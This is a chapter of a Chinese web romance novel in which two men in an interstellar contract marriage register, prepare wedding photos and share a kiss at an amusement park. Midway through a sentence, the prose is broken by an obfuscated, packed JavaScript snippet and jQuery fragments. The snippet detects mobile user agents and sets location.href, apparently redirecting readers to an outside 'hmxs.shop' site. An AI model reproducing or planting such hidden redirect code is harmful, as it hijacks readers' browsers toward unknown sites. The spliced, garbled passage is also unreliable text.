18. 他在笑

作品:《和抛弃的小狗A结婚了

    第二天贺星楼打开门,就看到时青泽又睡在客厅的沙发上,戴着耳机,眉头也一直皱着,看上去很没安全感的样子。


    他正打算走过去,沙发上的人倏地就醒了,猛地扭头朝他这边看来。


    这么警觉?不是还戴着耳机吗?贺星楼被吓一跳。


    “哥哥,你要去哪里?”时青泽开口就问。


    “哪也不去。”贺星楼随口道,走近沙发,皱着眉打量时青泽眼底的血丝。


    “你怎么睡在这儿?没有回卧室吗?”


    时青泽像是还没睡醒,因此没回答,只迷迷糊糊地摇头。


    他转而抬手去看通讯器上的时间:“七点了。”


    “时间还早,你要不要再睡会儿?”贺星楼提议道。


    “不能睡了。”时青泽又摇摇头,坐起来,“还有好多事情要做。”


    应该是指的今天去结婚登记的事情。贺星楼被他提醒,默默不再劝了。


    时青泽估计心里真的挺着急,几分钟就洗漱完毕,一边走一边囫囵套上衣服,在手忙脚乱中把头发揉吧成一团乱草。


    贺星楼还从没见过他这么慌张的样子,忍不住笑:“星际婚姻登记所要十点开门吧,还有三个小时呢。”


    时青泽眼神躲闪:“我、我只是有点紧张。”


    “紧张?”贺星楼讶异地多看他两眼,忽然恍然。


    这毕竟也是时青泽第一次结婚,人生大事,是该紧张的。


    而对于他来说……


    贺星楼忽然就真实地意识到,他居然要结婚了,还是和一个男的。


    这下他也有点不知所措,心跳不由得加快几分。


    贺星楼忍不住站起身来:“我……我需要做些什么吗?”


    他早上起来就简单收拾了下自己,连正装都没穿。


    话说回来,两人只是协议婚姻,需要穿正装吗?流程要怎么走?贺星楼昨晚口头答应得爽快,临到头来完全是两眼一抹黑。


    时青泽停下手上的动作,忽然快步朝他走过来。


    “别担心,我都安排好了。”时青泽抬手抚上贺星楼的脸颊,安慰似的用拇指摩挲了下。


    “哥哥什么都不用做,等会儿跟着我走就行。”


    贺星楼还有些迟疑:“可是,你不是说今天有很多事情要做。”


    时青泽闻言笑起来:“那些都是我该负责的事情,比如……现在先去给哥哥做早餐。”


    说完他就旋身又进了厨房。


    贺星楼默然看着他的背影,感觉自从晚宴回来后,时青泽给自己的定位就是家里的厨子。


    再说了,不是说时间紧迫,怎么突然还去做饭了?是想做顿饭冷静冷静吗?


    但毕竟寄人篱下,贺星楼也不好多说,只能又坐回沙发上。


    他注意到时青泽放在茶几上的耳机还在传来细微声响,因此好奇地拿起来听了听。


    只是些助眠的雨声白噪音。


    时青泽晚上睡不着吗?他有些疑惑。


    “哥哥,快来吃饭吧。”时青泽已经一旋身把热气腾腾的碗端出来。


    贺星楼赶紧放下耳机,走到餐桌一看,不由得嘴角抽搐。


    是红豆汤和荷包蛋。


    “也不至于这么有仪式感吧……”毕竟只是协议婚姻而已。


    时青泽低低笑:“该有的环节都不能少。”


    自从目睹他大闹时家晚宴,贺星楼就知道这人犟种起来是根本说不通的,既然时间紧迫,这些细节还是忽视为妙。


    因此他放弃思考,乖乖坐下来,和时青泽面对面开始喝红豆汤。


    还真有了那么一点新婚夫妻的意思。


    碗里的热气蒸腾上来,贺星楼的脸颊都被熏得发烫,再抬眼一看,或许是红豆汤的底色鲜艳,竟将时青泽那张白皙的脸上也染出些霞彩来。


    时青泽长得好看,鼻梁挺拔眉骨深邃,察觉到贺星楼的视线,还抬头冲他笑了笑,上下四颗犬齿又白又尖,跟小狗似的。


    贺星楼不敢再继续看下去,闷头干饭。


    等到两人出门,贺星楼看到停在楼下的保姆车后,他才知道时青泽那句“都安排好了”是什么意思。


    车内空间宽敞,已经等了好几个工作人员,还有摄影师正不住对准两人摁下快门,几架无人机兢兢业业地跟拍。


    这就是豪门结婚的排场?该不会还要上花边新闻吧……


    贺星楼不太喜欢这种曝光在众人面前的感觉,不由得朝时青泽背后躲了躲。


    时青泽的手立马就牵过来了。


    “哥哥别怕,成片不会流传出去,只是留作纪念。”


    贺星楼没有被哄好,但他惯常会忍受,因此垂着长睫点了点头。


    工作人员甚至还简单给两人做了妆造发型,贺星楼被优先安排,因此等他去换衣间换好礼服出来时,时青泽还在被化妆师涂涂抹抹。


    他刚掀开遮帘,时青泽的目光立马就追了过来,随即他露出怔忪神色。


    整个车内都安静一瞬。


    贺星楼有些紧张,忍不住去寻镜子:“应、应该没什么问题吧?”


    最先反应过来的还是化妆师,笑道:“很完美,就是你好瘦,婚后可要多吃饭养身体呀。”


    旁边的摄影师打趣:“这得提醒时少爷才对,Omega是需要精心养起来的。”


    时青泽这才急急转回头:“那是自然。”


    众人都善意地笑起来。


    贺星楼知晓自己没犯什么错,就放下心来,坐到一旁接过助理递来的行程单,认真研究起来。


    而正在认真上妆的化妆师忽然手一顿,从旁边抽了张纸巾递给时青泽,朝他理解又祝福地笑了笑。


    “谢谢。”时青泽低低道,迅速将纸巾按在自己的眼角。


    “他这么漂亮,任凭谁拥有这样的Omega,都会是和您同样的反应的。”


    “只有我。”时青泽将纸巾捏进手里,眼睛微红地认真反驳,“只有我能拥有他。”


    ……还是个护食的。化妆师知趣地不再多说。


    而那头贺星楼已经翻到结婚照的设计方案。


    助理殷勤地给他解说:“少爷初步选定了三个地点,一个是牧夏星的翡翠海岛,一个是波江座的星云极光,还有莱茵星的鸢尾森林,看贺少爷您更喜欢哪一个地点呢?”


    贺星楼不太习惯被他这么称呼,脸上露出不自然的神色。


    他想了想,问:“这三个地方都在帝都星之外,花费和时间方面……”


    助理立马道:“贺少爷不必担心,这其实是少爷选定的蜜月度假地点,少爷已经安排好假期,到时候可以直接带着摄影团队过去拍摄。”


    那得多大张旗鼓啊,而且方案旁边标注的价格也好贵,星币后边的零数都数不完。


    穷酸了好几年的贺星楼已经开始不安。


    他自认这场婚姻只是走走形式,开销越高只会越白白浪费。


    因此他没搭话,手上又翻几页,看到设计方案最后出现了一张简洁的预算图。


    “啊那个……”助理赶紧解释,“流程册里涵盖了十几种方案,但并不是所有都在少爷的选择范围内,比如这个就只是备选中的备选。”


    贺星楼辨认了下,认出图里的方案地址就在登记所附近。


    既然要走完流程,长痛不如短痛,干脆今天就把拍照的事情也搞定。


    他看向助理:“我可以选择这个方案吗?”


    “这……”助理为难地看向时青泽的方向。


    时青泽显然听到两人的对话,头都没回:“就按照哥哥的意思来。”


    助理立马点头:“好,挺好的,这个地方很近,正好今天就过去,时间也安排得过来。”


    贺星楼这才松了口气。


    那头时青泽从镜子里朝沙发方向看了眼,正好同助理交换了个眼神,助理不着痕迹地点点头,时青泽这才微翘着唇,收回视线。


    小小的暗流涌动根本没有被贺星楼发现,他还没适应被众人簇拥注视的感觉,因此尽量少说话,只跟着时青泽下车,走特定通道去了登记台登记。


    两张登记照都是现场拍的,两人底子都好,行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028749|194028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    云流水一次过关,随即通讯器上的个人信息都被改为了“已婚”,点开就能看到伴侣信息。


    贺星楼原本的资料空空荡荡,除了姓名年龄性别,什么都是空白,而今在绑定伴侣信息后,那张ID界面瞬间被填满,都变成了和时青泽一致的讯息。


    就像和这个世界突然多了许多关联。


    贺星楼看着虚空屏幕上的更新信息,茫然有种不真实感。


    “现在,哥哥可以自由了。”时青泽的声音将他唤回神。


    贺星楼一愣:“什么意思?”


    时青泽噙着笑,似乎很高兴:“以后不会再有搜查官来找哥哥麻烦了,哥哥……想去哪里都可以,想做任何事都可以,不会再有任何人阻拦你。”


    贺星楼微微皱起眉,觉得时青泽说这话有点怪,像是在暗示他什么。


    他不太喜欢话里有话的含糊感觉,因此直截了当地开口:“时青泽,我们是合作关系,就算我现在有了帝都星户口,但我也不会出尔反尔,要求你直接解除婚姻。”


    时青泽没说话,一双浅灰色的眼睛安静地注视过来。


    “意思是……哥哥不会离开我?”他轻声问。


    贺星楼不太高兴:“你不用拿这些话考验我。一年就是一年,少一天都不算。我说过会帮你,也一定会帮你。”


    时青泽这才眉眼舒展,软声道:“我没有这个意思,哥哥不要误会我了。”


    贺星楼是典型的吃软不吃硬,听后气消了大半,但还是将信将疑问:“那你刚才为什么要说那样的话?”


    时青泽的眼神也很软:“我是单纯为哥哥高兴,之后哥哥也能好好去上班了。”


    真的是这样吗?贺星楼看向他的眼睛,觉得对方神情不似作假,因此又有点反思自己是不是反应过度。


    再接下来就是拍结婚照的流程。


    因为地址就在附近,一众人紧锣密鼓地开车赶过去,只是才停下车,贺星楼就心觉不妙。


    这套方案没有放实例图,而他当时被低廉的价格冲昏头脑,因此也没在意,现在到了地方才发现,这竟然是一个游乐园。


    当初,他抛下时青泽的地方,也是在游乐园。


    贺星楼手指不自觉蜷起,想到梦里反复梦见的那张哭泣的脸。


    他怎么……就选了这么个地方呢?时青泽也会想起来吗?他会不会因为想起那些事情而难过?


    贺星楼的心悬起来,下意识要去寻找时青泽的踪影。


    “哥哥。”


    贺星楼连忙循声望去,却看到时青泽站在不远处的旋转木马旁,正笑意盎然地看过来。


    暖黄的装饰灯光像是给时青泽镶嵌一道软茸的金边,他手里还拿着五颜六色的气球,眼神明亮,丝毫不见任何阴霾。


    贺星楼怔然看着他,只觉得心脏被不知名的情绪塞满,又酸又涨。


    “他在笑。”贺星楼暗想着,将眼前的画面牢记于心,“他没有不开心。”


    那些两年前的阴冷画面都被驱散干净,被一点一点地替换成鲜艳气球、霓虹灯光以及甜蜜的糖果气息。


    他看见时青泽一步一步走过来,张开怀抱将他抱进怀里。


    “哥哥,我很开心。”他听见笃定的声线从耳边传来。


    时青泽稍微松开他,又笑吟吟地问:“那哥哥你呢?会觉得开心吗?”


    贺星楼心里想着,只不过是走个过场,为什么要开心?但看着对方满脸洋溢着的雀跃和幸福,不知为何他就也跟着笑了起来。


    好奇怪啊,光是看到时青泽高兴,他就会觉得高兴。


    碎金纸屑和彩色绸缎骤然炸响,助理和化妆师等一众人都笑着欢呼起来。


    所有可以被定义为幸福的元素都存在于此,贺星楼恍然得像是在梦境中。


    他听见时青泽又重复了一遍:“哥哥,你开心吗?”


    贺星楼犹豫了一瞬,轻轻点了点头。


    于是他看见面前的人笑得更加灿烂,倾身朝他凑近过来。


    烟花盛放,快门声响,他们在欢呼和祝福中,轻轻接了一个吻。